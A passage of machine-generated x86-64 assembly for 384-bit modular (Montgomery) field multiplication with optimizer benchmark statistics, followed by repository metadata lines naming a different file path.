rsp + 0xa8 ] seto cl; spill OF x140 to reg (rcx) inc r15; OF<-0x0, preserve CF (debug: state 2 (y: -1, n: 0)) mov r15, -0x1 ; moving imm to reg movzx rdi, dil adox rdi, r15; loading flag adox r14, [ rsp + 0xc0 ] mov rdi, 0x0 ; moving imm to reg adcx r12, rdi adox r11, rdi add al, 0x7F; load flag from rm/8 into OF, clears other flag. NODE, if operand1 is not a byte reg, this fails. seto al; since that has deps, resore it whereever it was adox rdx, r13 mov rax, rdx; preserving value of x102 into a new reg mov rdx, [ rsi + 0x0 ]; saving arg1[0] in rdx. mulx r13, rdi, r10; x157, x156<- x2 * arg1[0] adcx rdi, [ rsp + 0x68 ] movzx rdx, r9b; x104, copying x68 here, cause x68 is needed in a reg for other than x104, namely all: , x104--x105, size: 1 adox rdx, r12 setc r9b; spill CF x170 to reg (r9) clc; movzx rcx, cl adcx rcx, r15; loading flag adcx rax, r14 adcx r11, rdx mov rcx, 0x100000001 ; moving imm to reg mov rdx, rcx; 0x100000001 to rdx mulx rcx, r14, rdi; _, x183<- x169 * 0x100000001 seto cl; spill OF x145 to reg (rcx) adc cl, 0x0 movzx rcx, cl mov r12, 0xffffffff ; moving imm to reg xchg rdx, r12; 0xffffffff, swapping with 0x100000001, which is currently in rdx mulx r15, r12, r14; x196, x195<- x183 * 0xffffffff mov rdx, 0xffffffff00000000 ; moving imm to reg mov byte [ rsp + 0xc8 ], cl; spilling byte x145 to mem mulx r8, rcx, r14; x194, x193<- x183 * 0xffffffff00000000 adox rcx, r15 mov r15, rdx; preserving value of 0xffffffff00000000 into a new reg mov rdx, [ rsi + 0x8 ]; saving arg1[1] in rdx. mov [ rsp + 0xd0 ], r11; spilling x143 to mem mov [ rsp + 0xd8 ], rax; spilling x141 to mem mulx r11, rax, r10; x155, x154<- x2 * arg1[1] mov rdx, [ rsi + 0x18 ]; load m64 x3 to register64 adcx rax, r13 seto r13b; spill OF x198 to reg (r13) mov r15, -0x1 ; moving imm to reg inc r15; OF<-0x0, preserve CF (debug: state 5 (thanks Paul)) mov r15, -0x1 ; moving imm to reg movzx r9, r9b adox r9, r15; loading flag adox rax, [ rsp + 0x80 ] mulx r9, r15, [ rsi + 0x0 ]; x234, x233<- x3 * arg1[0] mov [ rsp + 0xe0 ], r9; spilling x234 to mem setc r9b; spill CF x159 to reg (r9) clc; adcx r12, rdi adcx rcx, rax setc r12b; spill CF x211 to reg (r12) clc; adcx r15, rcx mov rdi, 0x100000001 ; moving imm to reg xchg rdx, rdi; 0x100000001, swapping with x3, which is currently in rdx mulx rax, rcx, r15; _, x260<- x246 * 0x100000001 mov rax, 0xfffffffffffffffe ; moving imm to reg xchg rdx, rcx; x260, swapping with 0x100000001, which is currently in rdx mov byte [ rsp + 0xe8 ], r12b; spilling byte x211 to mem mulx rcx, r12, rax; x269, x268<- x260 * 0xfffffffffffffffe mov rax, 0xffffffff ; moving imm to reg mov [ rsp + 0xf0 ], rbp; spilling x139 to mem mov [ rsp + 0xf8 ], rbx; spilling x137 to mem mulx rbp, rbx, rax; x273, x272<- x260 * 0xffffffff mov rax, 0xffffffff00000000 ; moving imm to reg mov [ rsp + 0x100 ], r11; spilling x155 to mem mov byte [ rsp + 0x108 ], r9b; spilling byte x159 to mem mulx r11, r9, rax; x271, x270<- x260 * 0xffffffff00000000 mov rax, 0xfffffffffffffffe ; moving imm to reg xchg rdx, r14; x183, swapping with x260, which is currently in rdx mov [ rsp + 0x110 ], rbx; spilling x272 to mem mov [ rsp + 0x118 ], r8; spilling x194 to mem mulx rbx, r8, rax; x192, x191<- x183 * 0xfffffffffffffffe setc al; spill CF x247 to reg (rax) clc; adcx r9, rbp mov rbp, 0xffffffffffffffff ; moving imm to reg xchg rdx, r14; x260, swapping with x183, which is currently in rdx mov [ rsp + 0x120 ], r9; spilling x274 to mem mov byte [ rsp + 0x128 ], al; spilling byte x247 to mem mulx r9, rax, rbp; x265, x264<- x260 * 0xffffffffffffffff mov [ rsp + 0x130 ], rbx; spilling x192 to mem mov [ rsp + 0x138 ], r8; spilling x191 to mem mulx rbx, r8, rbp; x267, x266<- x260 * 0xffffffffffffffff mov byte [ rsp + 0x140 ], r13b; spilling byte x198 to mem mulx rdx, r13, rbp; x263, x262<- x260 * 0xffffffffffffffff adcx r12, r11 adcx r8, rcx adcx rax, rbx xchg rdx, r14; x183, swapping with x263, which is currently in rdx mulx rcx, r11, rbp; x188, x187<- x183 * 0xffffffffffffffff mov [ rsp + 0x148 ], rax; spilling x280 to mem mulx rbx, rax, rbp; x190, x189<- x183 * 0xffffffffffffffff adcx r13, r9 mulx rdx, r9, rbp; x186, x185<- x183 * 0xffffffffffffffff mov rbp, [ rsp + 0x138 ]; load m64 x191 to register64 mov [ rsp + 0x150 ], r13; spilling x282 to mem seto r13b; spill OF x172 to reg (r13) mov [ rsp + 0x158 ], r8; spilling x278 to mem movzx r8, byte [ rsp + 0x140 ]; load byte memx198 to register64 mov [ rsp + 0x160 ], r12; spilling x276 to mem mov r12, 0x0 ; moving imm to reg dec r12; OF<-0x0, preserve CF (debug: state 4 (thanks Paul)) adox r8, r12; loading flag adox rbp, [ rsp + 0x118 ] seto r8b; spill OF x200 to reg (r8) inc r12; OF<-0x0, preserve CF (debug: state 2 (y: -1, n: 0)) adox r15, [ rsp + 0x110 ] seto r15b; spill OF x286 to reg (r15) dec r12; OF<-0x0, preserve CF (debug: state 3 (y: 0, n: -1)) movzx r8, r8b adox r8, r12; loading flag adox rax, [ rsp + 0x130 ] adox r11, rbx mov rbx, [ rsi + 0x20 ]; load m64 x4 to register64 adox r9, rcx mov rcx, 0x0 ; moving imm to reg adcx r14, rcx mov r8, rdx; preserving value of x186 into a new reg mov rdx, [ rsi + 0x10 ]; saving arg1[2] in rdx. mulx rcx, r12, r10; x153, x152<- x2 * arg1[2] mov rdx, [ rsi + 0x18 ]; arg1[3] to rdx mov [ rsp + 0x168 ], r14; spilling x284 to mem mov [ rsp + 0x170 ], r9; spilling x205 to mem mulx r14, r9, r10; x151, x150<- x2 * arg1[3] mov rdx, [ rsi + 0x8 ]; arg1[1] to rdx mov [ rsp + 0x178 ], r11; spilling x203 to mem mov [ rsp + 0x180 ], r14; spilling x151 to mem mulx r11, r14, rbx; x309, x308<- x4 * arg1[1] movzx rdx, byte [ rsp + 0x108 ]; load byte memx159 to register64 clc; mov [ rsp + 0x188 ], r11; spilling x309 to mem mov r11, -0x1 ; moving imm to reg adcx rdx, r11; loading flag adcx r12, [ rsp + 0x100 ] mov rdx, 0x0 ; moving imm to reg adox r8, rdx adcx r9, rcx xchg rdx, rdi; x3, swapping with 0x0, which is currently in rdx mulx rcx, rdi, [ rsi + 0x8 ]; x232, x231<- x3 * arg1[1] mov r11, rdx; preserving value of x3 into a new reg mov rdx, [ rsi + 0x20 ]; saving arg1[4] in rdx. mov [ rsp + 0x190 ], r8; spilling x207 to mem mov [ rsp + 0x198 ], r14; spilling x308 to mem mulx r8, r14, r10; x149, x148<- x2 * arg1[4] mov rdx, -0x1 ; moving imm to reg inc rdx; OF<-0x0, preserve CF (debug: state 5 (thanks Paul)) mov rdx, -0x1 ; moving imm to reg movzx r13, r13b adox r13, rdx; loading flag adox r12, [ rsp + 0xf8 ] mov r13, [ rsp + 0xf0 ]; x175, copying x139 here, cause x139 is needed in a reg for other than x175, namely all: , x175--x176, size: 1 adox r13, r9 seto r9b; spill OF x176 to reg (r9) inc rdx; OF<-0x0, preserve CF (debug: state 2 (y: -1, n: 0)) adox rdi, [ rsp + 0xe0 ] seto dl; spill OF x236 to reg (rdx) mov [ rsp + 0x1a0 ], r8; spilling x149 to mem movzx r8, byte [ rsp + 0xe8 ]; load byte memx211 to register64 mov byte [ rsp + 0x1a8 ], r9b; spilling byte x176 to mem mov r9, 0x0 ; moving imm to reg dec r9; OF<-0x0, preserve CF (debug: state 4 (thanks Paul)) adox r8, r9; loading flag adox r12, rbp mov r8b, dl; preserving value of x236 into a new reg mov rdx, [ rsi + 0x10 ]; saving arg1[2] in rdx. mulx rbp, r9, r11; x230, x229<- x3 * arg1[2] setc dl; spill CF x163 to reg (rdx) clc; mov [ rsp + 0x1b0 ], rbp; spilling x230 to mem mov rbp, -0x1 ; moving imm to reg movzx r8, r8b adcx r8, rbp; loading flag adcx rcx, r9 seto r8b; spill OF x213 to reg (r8) movzx r9, byte [ rsp + 0x128 ]; load byte memx247 to register64 inc rbp; OF<-0x0, preserve CF (debug: state 2 (y: -1, n: 0)) mov rbp, -0x1 ; moving imm to reg adox r9, rbp; loading flag adox r12, rdi setc r9b; spill CF x238 to reg (r9) clc; movzx r15, r15b adcx r15, rbp; loading flag adcx r12, [ rsp + 0x120 ] setc r15b; spill CF x288 to reg (r15) clc; movzx r8, r8b adcx r8, rbp; loading flag adcx r13, rax setc al; spill CF x215 to reg (rax) clc; movzx rdx, dl adcx rdx, rbp; loading flag adcx r14, [ rsp + 0x180 ] adox rcx, r13 mov rdx, rbx; x4 to rdx mulx rbx, rdi, [ rsi + 0x0 ]; x311, x310<- x4 * arg1[0] seto r8b; spill OF x251 to reg (r8) inc rbp; OF<-0x0, preserve CF (debug: state 2 (y: -1, n: 0)) adox rdi, r12 mov r12, 0x100000001 ; moving imm to reg xchg rdx, rdi; x323, swapping with x4, which is currently in rdx mulx r13, rbp, r12; _, x337<- x323 * 0x100000001 mov r13, 0xffffffff ; moving imm to reg xchg rdx, r13; 0xffffffff, swapping with x323, which is currently in rdx mov byte [ rsp + 0x1b8 ], r8b; spilling byte x251 to mem mulx r12, r8, rbp; x350, x349<- x337 * 0xffffffff setc dl; spill CF x165 to reg (rdx) mov [ rsp + 0x1c0 ], r12; spilling x350 to mem movzx r12, byte [ rsp + 0x1a8 ]; load byte memx176 to register64 clc; mov byte [ rsp + 0x1c8 ], r9b; spilling byte x238 to mem mov r9, -0x1 ; moving imm to reg adcx r12, r9; loading flag adcx r14, [ rsp + 0xd8 ] setc r12b; spill CF x178 to reg (r12) clc; movzx rax, al adcx rax, r9; loading flag adcx r14, [ rsp + 0x178 ] mov al, dl; preserving value of x165 into a new reg mov rdx, [ rsi + 0x18 ]; saving arg1[3] in rdx. mov byte [ rsp + 0x1d0 ], r12b; spilling byte x178 to mem mulx r9, r12, r11; x228, x227<- x3 * arg1[3] setc dl; spill CF x217 to reg (rdx) clc; adcx rbx, [ rsp + 0x198 ] mov [ rsp + 0x1d8 ], r9; spilling x228 to mem mov r9, 0xffffffff00000000 ; moving imm to reg xchg rdx, rbp; x337, swapping with x217, which is currently in rdx mov byte [ rsp + 0x1e0 ], bpl; spilling byte x217 to mem mov byte [ rsp + 0x1e8 ], al; spilling byte x165 to mem mulx rbp, rax, r9; x348, x347<- x337 * 0xffffffff00000000 setc r9b; spill CF x313 to reg (r9) clc; mov [ rsp + 0x1f0 ], rbp; spilling x348 to mem mov rbp, -0x1 ; moving imm to reg movzx r15, r15b adcx r15, rbp; loading flag adcx rcx, [ rsp + 0x160 ] adox rbx, rcx mov r15, 0xfffffffffffffffe ; moving imm to reg mulx rcx, rbp, r15; x346, x345<- x337 * 0xfffffffffffffffe seto r15b; spill OF x326 to reg (r15) mov [ rsp + 0x1f8 ], rcx; spilling x346 to mem mov rcx, -0x2 ; moving imm to reg inc rcx; OF<-0x0, preserve CF (debug: 6; load -2, increase it, save as -1) adox r8, r13 setc r8b; spill CF x290 to reg (r8) movzx r13, byte [ rsp + 0x1c8 ]; load byte memx238 to register64 clc; adcx r13, rcx; loading flag adcx r12, [ rsp + 0x1b0 ] mov r13, rdx; preserving value of x337 into a new reg mov rdx, [ rsi + 0x10 ]; saving arg1[2] in rdx. mov [ rsp + 0x200 ], rbp; spilling x345 to mem mulx rcx, rbp, rdi; x307, x306<- x4 * arg1[2] setc dl; spill CF x240 to reg (rdx) clc; adcx rax, [ rsp + 0x1c0 ] adox rax, rbx mov bl, dl; preserving value of x240 into a new reg mov rdx, [ rsi + 0x20 ]; saving arg1[4] in rdx. mov [ rsp + 0x208 ], rax; spilling x364 to mem mov [ rsp + 0x210 ], rcx; spilling x307 to mem mulx rax, rcx, r11; x226, x225<- x3 * arg1[4] mov rdx, r10; x2 to rdx mulx rdx, r10, [ rsi + 0x28 ]; x147, x146<- x2 * arg1[5] mov [ rsp + 0x218 ], rax; spilling x226 to mem seto al; spill OF x365 to reg (rax) mov [ rsp + 0x220 ], rdx; spilling x147 to mem mov rdx, -0x1 ; moving imm to reg inc rdx; OF<-0x0, preserve CF (debug: state 5 (thanks Paul)) mov rdx, -0x1 ; moving imm to reg movzx r9, r9b adox r9, rdx; loading flag adox rbp, [ rsp + 0x188 ] seto r9b; spill OF x315 to reg (r9) movzx rdx, byte [ rsp + 0x1b8 ]; load byte memx251 to register64 mov byte [ rsp + 0x228 ], al; spilling byte x365 to mem mov rax, -0x1 ; moving imm to reg inc rax; OF<-0x0, preserve CF (debug: state 5 (thanks Paul)) mov rax, -0x1 ; moving imm to reg adox rdx, rax; loading flag adox r14, r12 setc dl; spill CF x352 to reg (rdx) clc; movzx r8, r8b adcx r8, rax; loading flag adcx r14, [ rsp + 0x158 ] setc r8b; spill CF x292 to reg (r8) clc; movzx r15, r15b adcx r15, rax; loading flag adcx r14, rbp seto r15b; spill OF x253 to reg (r15) movzx r12, byte [ rsp + 0x1e8 ]; load byte memx165 to register64 inc rax; OF<-0x0, preserve CF (debug: state 2 (y: -1, n: 0)) mov rbp, -0x1 ; moving imm to reg adox r12, rbp; loading flag adox r10, [ rsp + 0x1a0 ] setc r12b; spill CF x328 to reg (r12) movzx rax, byte [ rsp + 0x1d0 ]; load byte memx178 to register64 clc; adcx rax, rbp; loading flag adcx r10, [ rsp + 0xd0 ] seto al; spill OF x167 to reg (rax) movzx rbp, byte [ rsp + 0x1e0 ]; load byte memx217 to register64 mov [ rsp + 0x230 ], r14; spilling x327 to mem mov r14, 0x0 ; moving imm to reg dec r14; OF<-0x0, preserve CF (debug: state 4 (thanks Paul)) adox rbp, r14; loading flag adox r10, [ rsp + 0x170 ] mov rbp, [ rsp + 0x200 ]; load m64 x345 to register64 setc r14b; spill CF x180 to reg (r14) clc; mov byte [ rsp + 0x238 ], r12b; spilling byte x328 to mem mov r12, -0x1 ; moving imm to reg movzx rdx, dl adcx rdx, r12; loading flag adcx rbp, [ rsp + 0x1f0 ] setc dl; spill CF x354 to reg (rdx) clc; movzx rbx, bl adcx rbx, r12; loading flag adcx rcx, [ rsp + 0x1d8 ] movzx rbx, al; x168, copying x167 here, cause x167 is needed in a reg for other than x168, namely all: , x168, size: 1 mov r12, [ rsp + 0x220 ]; load m64 x147 to register64 lea rbx, [ rbx + r12 ]; r8/64 + m8 mov r12b, dl; preserving value of x354 into a new reg mov rdx, [ rsi + 0x28 ]; saving arg1[5] in rdx. mulx r11, rax, r11; x224, x223<- x3 * arg1[5] mov rdx, [ rsp + 0x218 ]; x243, copying x226 here, cause x226 is needed in a reg for other than x243, namely all: , x243--x244, size: 1 adcx rdx, rax xchg rdx, rdi; x4, swapping with x243, which is currently in rdx mov [ rsp + 0x240 ], rbp; spilling x353 to mem mulx rax, rbp, [ rsi + 0x18 ]; x305, x304<- x4 * arg1[3] mov [ rsp + 0x248 ], rax; spilling x305 to mem seto al; spill OF x219 to reg (rax) mov byte [ rsp + 0x250 ], r12b; spilling byte x354 to mem mov r12, 0x0 ; moving imm to reg dec r12; OF<-0x0, preserve CF (debug: state 4 (thanks Paul)) mov [ rsp + 0x258 ], rdi; spilling x243 to mem movzx rdi, byte [ rsp + 0xc8 ]; load byte memx145 to register64 movzx r14, r14b adox r14, r12; loading flag adox rbx, rdi setc dil; spill CF x244 to reg (rdi) clc; movzx r15, r15b adcx r15, r12; loading flag adcx r10, rcx movzx r15, dil; x245, copying x244 here, cause x244 is needed in a reg for other than x245, namely all: , x245, size: 1 lea r15, [ r15 + r11 ] seto r14b; spill OF x182 to reg (r14) inc r12; OF<-0x0, preserve CF (debug: state 2 (y: -1, n: 0)) mov rcx, -0x1 ; moving imm to reg movzx r9, r9b adox r9, rcx; loading flag adox rbp, [ rsp + 0x210 ] seto r9b; spill OF x317 to reg (r9) dec r12; OF<-0x0, preserve CF (debug: state 1(0x0) (thanks Paul)) movzx rax, al adox rax, r12; loading flag adox rbx, [ rsp + 0x190 ] mov rcx, 0xffffffffffffffff ; moving imm to reg xchg rdx, r13; x337, swapping with x4, which is currently in rdx mulx rax, r11, rcx; x344, x343<- x337 * 0xffffffffffffffff seto dil; spill OF x221 to reg (rdi) inc r12; OF<-0x0, preserve CF (debug: state 2 (y: -1, n: 0)) mov r12, -0x1 ; moving imm to reg movzx r8, r8b adox r8, r12; loading flag adox r10, [ rsp + 0x148 ] mulx r8, r12, rcx; x342, x341<- x337 * 0xffffffffffffffff mov rcx, [ rsp + 0x258 ]; x256, copying x243 here, cause x243 is needed in a reg for other than x256, namely all: , x256--x257, size: 1 adcx rcx, rbx setc bl; spill CF x257 to reg (rbx) mov [ rsp + 0x260 ], rcx; spilling x256 to mem movzx rcx, byte [ rsp + 0x250 ]; load byte memx354 to register64 clc; mov byte [ rsp + 0x268 ], r9b; spilling byte x317 to mem mov r9, -0x1 ; moving imm to reg adcx rcx, r9; loading flag adcx r11, [ rsp + 0x1f8 ] movzx rcx, dil; x222, copying x221 here, cause x221 is needed in a reg for other than x222, namely all: , x222, size: 1 movzx r14, r14b lea rcx, [ rcx + r14 ] seto r14b; spill OF x294 to reg (r14) movzx rdi, byte [ rsp + 0x238 ]; load byte memx328 to register64 inc r9; OF<-0x0, preserve CF (debug: state 2 (y: -1, n: 0)) mov r9, -0x1 ; moving imm to reg adox rdi, r9; loading flag adox r10, rbp mov rdi, 0xffffffffffffffff ; moving imm to reg mulx rdx, rbp, rdi; x340, x339<- x337 * 0xffffffffffffffff mov r9, [ rsp + 0x240 ]; load m64 x353 to register64 seto dil; spill OF x330 to reg (rdi) mov [ rsp + 0x270 ], rdx; spilling x340 to mem movzx rdx, byte [ rsp + 0x228 ]; load byte memx365 to register64 mov byte [ rsp + 0x278 ], r14b; spilling byte x294 to mem mov r14, 0x0 ; moving imm to reg dec r14; OF<-0x0, preserve CF (debug: state 4 (thanks Paul)) adox rdx, r14; loading flag adox r9, [ rsp + 0x230 ] mov rdx, [ rsi + 0x20 ]; arg1[4] to rdx mov [ rsp + 0x280 ], r9; spilling x366 to mem mulx r14, r9, r13; x303, x302<- x4 * arg1[4] adcx r12, rax adox r11, r10 seto dl; spill OF x369 to reg (rdx) mov rax, -0x1 ; moving imm to reg inc rax; OF<-0x0, preserve CF (debug: state 5 (thanks Paul)) mov r10, -0x1 ; moving imm to reg movzx rbx, bl adox rbx, r10; loading flag adox rcx, r15 adcx rbp, r8 seto r15b; spill OF x259 to reg (r15) movzx r8, byte [ rsp + 0x268 ]; load byte memx317 to register64 dec rax; OF<-0x0, preserve CF (debug: state 1(0x0) (thanks Paul)) adox r8, rax; loading flag adox r9, [ rsp + 0x248 ] mov r10, [ rsp + 0x150 ]; load m64 x282 to register64 setc r8b; spill CF x360 to reg (r8) movzx rbx, byte [ rsp + 0x278 ]; load byte memx294 to register64 clc; adcx rbx, rax; loading flag adcx r10, [ rsp + 0x260 ] mov rbx, [ rsp + 0x168 ]; x297, copying x284 here, cause x284 is needed in a reg for other than x297, namely all: , x297--x298, size: 1 adcx rbx, rcx xchg rdx, r13; x4, swapping with x369, which is currently in rdx mulx rdx, rcx, [ rsi + 0x28 ]; x301, x300<- x4 * arg1[5] mov rax, [ rsi + 0x28 ]; load m64 x5 to register64 adox rcx, r14 movzx r14, r8b; x361, copying x360 here, cause x360 is needed in a reg for other than x361, namely all: , x361, size: 1 mov [ rsp + 0x288 ], r11; spilling x368 to mem mov r11, [ rsp + 0x270 ]; load m64 x340 to register64 lea r14, [ r14 + r11 ]; r8/64 + m8 mov r11, 0x0 ; moving imm to reg adox rdx, r11 dec r11; OF<-0x0, preserve CF (debug: state 3 (y: 0, n: -1)) movzx rdi, dil adox rdi, r11; loading flag adox r10, r9 movzx rdi, r15b; x299, copying x259 here, cause x259 is needed in a reg for other than x299, namely all: , x299, size: 1 mov r8, 0x0 ; moving imm to reg adcx rdi, r8 adox rcx, rbx clc; movzx r13, r13b adcx r13, r11; loading flag adcx r10, r12 xchg rdx, rax; x5, swapping with x322, which is currently in rdx mulx r12, r13, [ rsi + 0x0 ]; x388, x387<- x5 * arg1[0] adox rax, rdi mulx r15, r9, [ rsi + 0x8 ]; x386, x385<- x5 * arg1[1] adcx rbp, rcx mulx rbx, rdi, [ rsi + 0x18 ]; x382, x381<- x5 * arg1[3] seto cl; spill OF x336 to reg (rcx) mov r11, -0x3 ; moving imm to reg inc r11; OF<-0x0, preserve CF (debug 7; load -3, increase it, save it as -2). #last resort adox r13, [ rsp + 0x208 ] adcx r14, rax movzx rax, cl; x376, copying x336 here, cause x336 is needed in a reg for other than x376, namely all: , x376, size: 1 adcx rax, r8 mov rcx, 0x100000001 ; moving imm to reg xchg rdx, rcx; 0x100000001, swapping with x5, which is currently in rdx mulx r8, r11, r13; _, x414<- x400 * 0x100000001 clc; adcx r9, r12 mov r8, 0xffffffff ; moving imm to reg xchg rdx, r8; 0xffffffff, swapping with 0x100000001, which is currently in rdx mulx r12, r8, r11; x427, x426<- x414 * 0xffffffff xchg rdx, rcx; x5, swapping with 0xffffffff, which is currently in rdx mov [ rsp + 0x290 ], rax; spilling x376 to mem mulx rcx, rax, [ rsi + 0x10 ]; x384, x383<- x5 * arg1[2] adcx rax, r15 adcx rdi, rcx mov r15, 0xffffffff00000000 ; moving imm to reg xchg rdx, r15; 0xffffffff00000000, swapping with x5, which is currently in rdx mov [ rsp + 0x298 ], r14; spilling x374 to mem mulx rcx, r14, r11; x425, x424<- x414 * 0xffffffff00000000 mov rdx, 0xfffffffffffffffe ; moving imm to reg mov [ rsp + 0x2a0 ], rbp; spilling x372 to mem mov [ rsp + 0x2a8 ], rbx; spilling x382 to mem mulx rbp, rbx, r11; x423, x422<- x414 * 0xfffffffffffffffe mov rdx, 0xffffffffffffffff ; moving imm to reg mov [ rsp + 0x2b0 ], rdi; spilling x393 to mem mov [ rsp + 0x2b8 ], r10; spilling x370 to mem mulx rdi, r10, r11; x421, x420<- x414 * 0xffffffffffffffff setc dl; spill CF x394 to reg (rdx) clc; adcx r8, r13 setc r8b; spill CF x440 to reg (r8) clc; adcx r14, r12 adcx rbx, rcx mov r13, [ rsp + 0x280 ]; x402, copying x366 here, cause x366 is needed in a reg for other than x402, namely all: , x402--x403, size: 1 adox r13, r9 mov r9b, dl; preserving value of x394 into a new reg mov rdx, [ rsi + 0x28 ]; saving arg1[5] in rdx. mulx r12, rcx, r15; x378, x377<- x5 * arg1[5] mov rdx, 0xffffffffffffffff ; moving imm to reg mov [ rsp + 0x2c0 ], r12; spilling x378 to mem mov [ rsp + 0x2c8 ], rcx; spilling x377 to mem mulx r12, rcx, r11; x419, x418<- x414 * 0xffffffffffffffff adcx r10, rbp mov rbp, [ rsp + 0x288 ]; x404, copying x368 here, cause x368 is needed in a reg for other than x404, namely all: , x404--x405, size: 1 adox rbp, rax adcx rcx, rdi mov rax, [ rsp + 0x2b0 ]; load m64 x393 to register64 mov rdi, [ rsp + 0x2b8 ]; x406, copying x370 here, cause x370 is needed in a reg for other than x406, namely all: , x406--x407, size: 1 adox rdi, rax setc al; spill CF x435 to reg (rax) clc; mov rdx, -0x1 ; moving imm to reg movzx r8, r8b adcx r8, rdx; loading flag adcx r13, r14 adcx rbx, rbp setc r8b; spill CF x444 to reg (r8) seto r14b; spill OF x407 to reg (r14) mov rbp, r13; x454, copying x441 here, cause x441 is needed in a reg for other than x454, namely all: , x468, x454--x455, size: 2 mov rdx, 0xffffffff ; moving imm to reg sub rbp, rdx mov rdx, rbx; x456, copying x443 here, cause x443 is needed in a reg for other than x456, namely all: , x469, x456--x457, size: 2 mov [ rsp + 0x2d0 ], rbp; spilling x454 to mem mov rbp, 0xffffffff00000000 ; moving imm to reg sbb rdx, rbp xchg rdx, r15; x5, swapping with x456, which is currently in rdx mulx rdx, rbp, [ rsi + 0x20 ]; x380, x379<- x5 * arg1[4] mov [ rsp + 0x2d8 ], r15; spilling x456 to mem mov r15, -0x1 ; moving imm to reg inc r15; OF<-0x0, preserve CF (debug: state 5 (thanks Paul)) mov r15, -0x1 ; moving imm to reg movzx r8, r8b adox r8, r15; loading flag adox rdi, r10 setc r10b; spill CF x457 to reg (r10) clc; movzx r9, r9b adcx r9, r15; loading flag adcx rbp, [ rsp + 0x2a8 ] setc r9b; spill CF x396 to reg (r9) seto r8b; spill OF x446 to reg (r8) movzx r15, r10b; x457, copying x457 here, cause x457 is needed in a reg for other than x457, namely all: , x458--x459, size: 1 add r15, -0x1 mov r10, rdi; x458, copying x445 here, cause x445 is needed in a reg for other than x458, namely all: , x470, x458--x459, size: 2 mov r15, 0xfffffffffffffffe ; moving imm to reg sbb r10, r15 mov r15, 0x0 ; moving imm to reg dec r15; OF<-0x0, preserve CF (debug: state 4 (thanks Paul)) movzx r14, r14b adox r14, r15; loading flag adox rbp, [ rsp + 0x2a0 ] mov r14, 0xffffffffffffffff ; moving imm to reg xchg rdx, r11; x414, swapping with x380, which is currently in rdx mulx rdx, r15, r14; x417, x416<- x414 * 0xffffffffffffffff setc r14b; spill CF x459 to reg (r14) clc; mov [ rsp + 0x2e0 ], r10; spilling x458 to mem mov r10, -0x1 ; moving imm to reg movzx r8, r8b adcx r8, r10; loading flag adcx rbp, rcx setc cl; spill CF x448 to reg (rcx) clc; movzx rax, al adcx rax, r10; loading flag adcx r12, r15 mov rax, 0x0 ; moving imm to reg adcx rdx, rax clc; movzx r9, r9b adcx r9, r10; loading flag adcx r11, [ rsp + 0x2c8 ] mov r8, [ rsp + 0x2c0 ]; x399, copying x378 here, cause x378 is needed in a reg for other than x399, namely all: , x399, size: 1 adcx r8, rax mov r9, [ rsp + 0x298 ]; x410, copying x374 here, cause x374 is needed in a reg for other than x410, namely all: , x410--x411, size: 1 adox r9, r11 clc; movzx rcx, cl adcx rcx, r10; loading flag adcx r9, r12 mov r15, [ rsp + 0x290 ]; x412, copying x376 here, cause x376 is needed in a reg for other than x412, namely all: , x412--x413, size: 1 adox r15, r8 adcx rdx, r15 setc cl; spill CF x452 to reg (rcx) seto r12b; spill OF x413 to reg (r12) movzx r11, r14b; x459, copying x459 here, cause x459 is needed in a reg for other than x459, namely all: , x460--x461, size: 1 add r11, -0x1 mov r11, rbp; x460, copying x447 here, cause x447 is needed in a reg for other than x460, namely all: , x471, x460--x461, size: 2 mov r14, 0xffffffffffffffff ; moving imm to reg sbb r11, r14 mov r8, r9; x462, copying x449 here, cause x449 is needed in a reg for other than x462, namely all: , x462--x463, x472, size: 2 sbb r8, r14 mov r15, rdx; x464, copying x451 here, cause x451 is needed in a reg for other than x464, namely all: , x464--x465, x473, size: 2 sbb r15, r14 movzx rax, cl; x453, copying x452 here, cause x452 is needed in a reg for other than x453, namely all: , x453, size: 1 movzx r12, r12b lea rax, [ rax + r12 ] sbb rax, 0x00000000 mov rax, [ rsp + 0x2d8 ]; x469, copying x456 here, cause x456 is needed in a reg for other than x469, namely all: , x469, size: 1 cmovc rax, rbx; if CF, x469<- x443 (nzVar) mov rbx, [ rsp + 0x0 ]; load m64 out1 to register64 mov [ rbx + 0x8 ], rax; out1[1] = x469 mov r12, [ rsp + 0x2e0 ]; x470, copying x458 here, cause x458 is needed in a reg for other than x470, namely all: , x470, size: 1 cmovc r12, rdi; if CF, x470<- x445 (nzVar) mov rdi, [ rsp + 0x2d0 ]; x468, copying x454 here, cause x454 is needed in a reg for other than x468, namely all: , x468, size: 1 cmovc rdi, r13; if CF, x468<- x441 (nzVar) cmovc r8, r9; if CF, x472<- x449 (nzVar) mov [ rbx + 0x20 ], r8; out1[4] = x472 mov [ rbx + 0x0 ], rdi; out1[0] = x468 cmovc r15, rdx; if CF, x473<- x451 (nzVar) mov [ rbx + 0x10 ], r12; out1[2] = x470 cmovc r11, rbp; if CF, x471<- x447 (nzVar) mov [ rbx + 0x28 ], r15; out1[5] = x473 mov [ rbx + 0x18 ], r11; out1[3] = x471 mov rbx, [ rsp + 0x2e8 ]; restoring from stack mov rbp, [ rsp + 0x2f0 ]; restoring from stack mov r12, [ rsp + 0x2f8 ]; restoring from stack mov r13, [ rsp + 0x300 ]; restoring from stack mov r14, [ rsp + 0x308 ]; restoring from stack mov r15, [ rsp + 0x310 ]; restoring from stack add rsp, 0x318 ret ; cpu Intel(R) Core(TM) i9-10900K CPU @ 3.70GHz ; clocked at 4578 MHz ; first cyclecount 527.43, best 253.7674418604651, lastGood 273.5348837209302 ; seed 2438481381420792 ; CC / CFLAGS clang / -march=native -mtune=native -O3 ; time needed: 3438199 ms / 60000 runs=> 57.30331666666667ms/run ; Time spent for assembling and measureing (initial batch_size=43, initial num_batches=101): 107934 ms ; Ratio (time for assembling + measure)/(total runtime for 60000runs): 0.031392598276016016 ; number reverted permutation/ tried permutation: 21112 / 30152 =70.019% ; number reverted decision/ tried decision: 19029 / 29849 =63.751%
40.107865
135
0.689601
f6a24af65bd312666850f301f755df819195f784
9,660
asm
Assembly
testdata/sht/cons/expected-program.ara.ls.asm
cwood77/shtanky
6e3b7ad5bdc21be8d82b3fcddd882aebbf479fd8
[ "MIT" ]
null
null
null
testdata/sht/cons/expected-program.ara.ls.asm
cwood77/shtanky
6e3b7ad5bdc21be8d82b3fcddd882aebbf479fd8
[ "MIT" ]
null
null
null
testdata/sht/cons/expected-program.ara.ls.asm
cwood77/shtanky
6e3b7ad5bdc21be8d82b3fcddd882aebbf479fd8
[ "MIT" ]
null
null
null
